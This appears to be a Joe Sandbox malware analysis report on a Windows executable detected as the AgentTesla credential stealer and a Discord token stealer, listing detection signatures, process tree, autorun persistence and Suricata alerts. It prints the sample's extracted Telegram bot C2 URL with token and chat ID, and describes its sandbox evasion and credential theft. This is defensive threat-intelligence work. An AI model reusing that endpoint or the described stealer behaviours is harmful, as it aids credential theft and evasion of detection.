Edit tour

Windows Analysis Report
gq8sce-clean.com.com.exe

Overview

General Information

Sample name:	gq8sce-clean.com.com.exe
Analysis ID:	1619245
MD5:	07204fe9a49ed5d81a374b581fa0f28f
SHA1:	634a80dd70ff05559dcdbb3c596812e74e138c30
SHA256:	4b28f2d12a371caffd53ea2375395e33a8fcd238828586d1ff82be2d7aeac3e9
Tags:	bot7592112496DropBoxexefiles-catbox-moekvrcmhqc-ngrok-ioZolaKeyloggeruser-marsomx
Infos:

Detection

AgentTesla, Discord Token Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected Discord Token Stealer

Yara detected Telegram RAT

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Joe Sandbox ML detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

gq8sce-clean.com.com.exe (PID: 4668 cmdline: "C:\Users\user\Desktop\gq8sce-clean.com.com.exe" MD5: 07204FE9A49ED5D81A374B581FA0F28F)

OgBoRN.exe (PID: 6656 cmdline: "C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe" MD5: 07204FE9A49ED5D81A374B581FA0F28F)

OgBoRN.exe (PID: 5588 cmdline: "C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe" MD5: 07204FE9A49ED5D81A374B581FA0F28F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendMessage?chat_id=6089330336"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2401382417.0000000007D27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.4629529277.0000000007B6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.4620180662.0000000006ECB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.2401382417.0000000007D17000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.4629529277.0000000007B64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2379183705.0000000005789000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.4629529277.0000000007A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.4629529277.0000000007A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.2401382417.0000000007BB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2401382417.0000000007BB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.4588154499.0000000004E68000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.4598853145.0000000005869000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: gq8sce-clean.com.com.exe PID: 4668	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gq8sce-clean.com.com.exe PID: 4668	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: gq8sce-clean.com.com.exe PID: 4668	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: OgBoRN.exe PID: 6656	JoeSecurity_DiscordTokenStealer	Yara detected Discord Token Stealer	Joe Security
Process Memory Space: OgBoRN.exe PID: 6656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: OgBoRN.exe PID: 6656	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: OgBoRN.exe PID: 6656	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: OgBoRN.exe PID: 5588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: OgBoRN.exe PID: 5588	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: OgBoRN.exe PID: 5588	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 27 entries

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\gq8sce-clean.com.com.exe, ProcessId: 4668, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OgBoRN

Suricata Signatures

ETPRO MALWARE Agent Tesla Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T18:03:35.283867+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.5	49707	149.154.167.220	443	TCP
2025-02-19T18:03:51.961887+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.5	49767	149.154.167.220	443	TCP
2025-02-19T18:04:00.253058+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.5	49822	149.154.167.220	443	TCP

ETPRO MALWARE Agent Tesla Telegram Exfil M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T18:03:35.283867+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49707	149.154.167.220	443	TCP
2025-02-19T18:03:36.529991+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49708	149.154.167.220	443	TCP
2025-02-19T18:03:51.961887+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49767	149.154.167.220	443	TCP
2025-02-19T18:03:53.211057+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49778	149.154.167.220	443	TCP
2025-02-19T18:04:00.253058+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49822	149.154.167.220	443	TCP
2025-02-19T18:04:01.453990+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49833	149.154.167.220	443	TCP
2025-02-19T18:05:00.905852+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49990	149.154.167.220	443	TCP
2025-02-19T18:05:03.328681+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49991	149.154.167.220	443	TCP
2025-02-19T18:05:30.709900+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49992	149.154.167.220	443	TCP
2025-02-19T18:05:33.920333+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49993	149.154.167.220	443	TCP
2025-02-19T18:05:36.960131+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49994	149.154.167.220	443	TCP
2025-02-19T18:05:37.356132+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49995	149.154.167.220	443	TCP
2025-02-19T18:05:38.412033+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49996	149.154.167.220	443	TCP
2025-02-19T18:05:39.200970+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49997	149.154.167.220	443	TCP
2025-02-19T18:05:45.269875+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49998	149.154.167.220	443	TCP
2025-02-19T18:05:45.595638+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	49999	149.154.167.220	443	TCP
2025-02-19T18:05:49.012018+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50000	149.154.167.220	443	TCP
2025-02-19T18:05:50.189117+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50001	149.154.167.220	443	TCP
2025-02-19T18:06:09.214055+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50002	149.154.167.220	443	TCP
2025-02-19T18:06:10.729552+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50003	149.154.167.220	443	TCP
2025-02-19T18:06:11.257226+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50004	149.154.167.220	443	TCP
2025-02-19T18:06:22.996443+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50005	149.154.167.220	443	TCP
2025-02-19T18:06:31.960977+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50006	149.154.167.220	443	TCP
2025-02-19T18:06:35.161807+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50007	149.154.167.220	443	TCP
2025-02-19T18:06:56.883691+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50008	149.154.167.220	443	TCP
2025-02-19T18:07:05.389448+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50009	149.154.167.220	443	TCP
2025-02-19T18:07:10.136433+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50010	149.154.167.220	443	TCP
2025-02-19T18:07:14.575917+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50011	149.154.167.220	443	TCP
2025-02-19T18:07:24.875136+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50012	149.154.167.220	443	TCP
2025-02-19T18:07:24.950294+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50013	149.154.167.220	443	TCP
2025-02-19T18:07:44.465223+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50015	149.154.167.220	443	TCP
2025-02-19T18:07:45.031484+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.5	50016	149.154.167.220	443	TCP

ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T18:03:35.283883+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49707	TCP
2025-02-19T18:03:36.530218+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49708	TCP
2025-02-19T18:03:51.962109+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49767	TCP
2025-02-19T18:03:53.211383+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49778	TCP
2025-02-19T18:04:00.253227+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49822	TCP
2025-02-19T18:04:01.454258+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.5	49833	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T18:03:34.940295+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49707	149.154.167.220	443	TCP
2025-02-19T18:03:36.278410+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49708	149.154.167.220	443	TCP
2025-02-19T18:03:51.720019+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49767	149.154.167.220	443	TCP
2025-02-19T18:03:52.944153+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49778	149.154.167.220	443	TCP
2025-02-19T18:03:59.958365+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49822	149.154.167.220	443	TCP
2025-02-19T18:04:01.226593+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49833	149.154.167.220	443	TCP
2025-02-19T18:05:00.902938+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49990	149.154.167.220	443	TCP
2025-02-19T18:05:03.327639+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49991	149.154.167.220	443	TCP
2025-02-19T18:05:30.707636+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49992	149.154.167.220	443	TCP
2025-02-19T18:05:33.919393+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49993	149.154.167.220	443	TCP
2025-02-19T18:05:36.943891+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49994	149.154.167.220	443	TCP
2025-02-19T18:05:37.355072+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49995	149.154.167.220	443	TCP
2025-02-19T18:05:38.388316+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49996	149.154.167.220	443	TCP
2025-02-19T18:05:39.200125+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49997	149.154.167.220	443	TCP
2025-02-19T18:05:45.268770+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49998	149.154.167.220	443	TCP
2025-02-19T18:05:45.594697+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49999	149.154.167.220	443	TCP
2025-02-19T18:05:49.009597+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50000	149.154.167.220	443	TCP
2025-02-19T18:05:50.188205+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50001	149.154.167.220	443	TCP
2025-02-19T18:06:09.212451+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50002	149.154.167.220	443	TCP
2025-02-19T18:06:10.728620+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50003	149.154.167.220	443	TCP
2025-02-19T18:06:11.256333+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50004	149.154.167.220	443	TCP
2025-02-19T18:06:22.975386+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50005	149.154.167.220	443	TCP
2025-02-19T18:06:31.960137+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50006	149.154.167.220	443	TCP
2025-02-19T18:06:35.159474+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50007	149.154.167.220	443	TCP
2025-02-19T18:06:56.882485+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50008	149.154.167.220	443	TCP
2025-02-19T18:07:05.388197+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50009	149.154.167.220	443	TCP
2025-02-19T18:07:10.130874+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50010	149.154.167.220	443	TCP
2025-02-19T18:07:14.574737+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50011	149.154.167.220	443	TCP
2025-02-19T18:07:24.872651+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50012	149.154.167.220	443	TCP
2025-02-19T18:07:24.946298+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50013	149.154.167.220	443	TCP
2025-02-19T18:07:43.540626+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50014	149.154.167.220	443	TCP
2025-02-19T18:07:44.464422+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50015	149.154.167.220	443	TCP
2025-02-19T18:07:45.030575+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	50016	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: OgBoRN.exe.6656.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendMessage"}
Source: OgBoRN.exe.6656.3.memstrmin	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendMessage?chat_id=6089330336"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\OgBoRN\OgBoRN.exe

ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: gq8sce-clean.com.com.exe	ReversingLabs: Detection: 44%
Source: gq8sce-clean.com.com.exe	Virustotal: Detection: 27%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: gq8sce-clean.com.com.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50015 version: TLS 1.2

Source: gq8sce-clean.com.com.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
